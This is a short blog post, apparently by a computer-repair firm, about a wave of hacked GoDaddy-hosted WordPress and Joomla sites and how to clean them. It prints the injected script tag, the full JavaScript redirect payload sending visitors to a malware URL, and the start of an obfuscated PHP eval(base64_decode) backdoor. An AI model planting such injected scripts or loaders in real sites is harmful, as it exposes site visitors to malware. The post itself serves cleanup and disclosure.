Just a couple of days ago, another round of attacks to many sites hosted at GoDaddy had been performed. The majority of the infections were mainly Joomla and WordPress based sites. I actually own one site that had been compromised and thankfully it doesn’t get much traffic as it had been launched not too long ago.
Either way, I did dig into the files and found the javascripts that were injected into many of the pages / posts on the site. Here’s what it looks like:
< script src=”http://kdjkfjskdfjlskdjf.com/kp.php”>
Further investigation of the file revealed this source code (this is the kp.php file by the way)
function setCookie(c_name,value,expiredays)
{
var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays);
document.cookie=c_name+ “=” +escape(value)+ ((expiredays==null) ? “” :
“;expires=”+exdate.toGMTString()); } function getCookie(c_name){
if (document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name + “=”);
if (c_start!=-1) { c_start=c_start + c_name.length+1;
c_end=document.cookie.indexOf(“;”,c_start);
if (c_end==-1) c_end=document.cookie.length; return
unescape(document.cookie.substring(c_start,c_end)); } } return “”; } var
name=getCookie(“pma_visited_theme1″); if (name==”"){ setCookie(“pma_visited_theme1″,”1″,20);
var
url=”http://www3.workfree36-td.xorg.pl/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG3KXsWYlGhnZWuVmA%3D%3D”; window.top.location.replace(url);
}else{ }
The text in bold above is the source for the malware that’s actually called in to infect the user’s PC / browser
Resolution? Easy, open up your index files and look for the following code:
< ?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ2..
Also, for the unlucky ones using WordPress, your themes folder houses all of your PHP files. Go through them one by one and clean them up.
Just an FYI, I came across a tweet from Godaddy confirming the hack but they did not indicate how many sites were actually attacked / infected.
For help with such infections, or for solid, cheap and reliable hosting don’t hesitate to contact us for additional information. We also provide SOLID and Black Hat free SEO services.
One Response to Another round of Godaddy sites hacked
Leave a Reply Cancel reply
Older Archives Worth Checking Out
- June 2010 (1)
- May 2010 (1)
- April 2010 (1)
- February 2010 (1)
- January 2010 (2)
- December 2009 (17)
Tags
10 ways to speed up your pc guaranteed 16bit video 32bit video byte clusters computer repair miami cpu defrag defragmentation display properties folder browsing fragmented godaddy graphics harddrive hard drive hdd improving memory management indexing service index service ipad miami computer repair mydefrag network files network printers optimization optimize scan scandisk scan hard drive schedule defrag schedule scan search for network files and printers sectors slow my computer slow search speed up pc speed up video speed up your pc spyware video card virus virus infection windows search Windows XP Scan disk





great info! just what i needed to get my hosting account back in shape. even godaddy tech support didn’t have this information.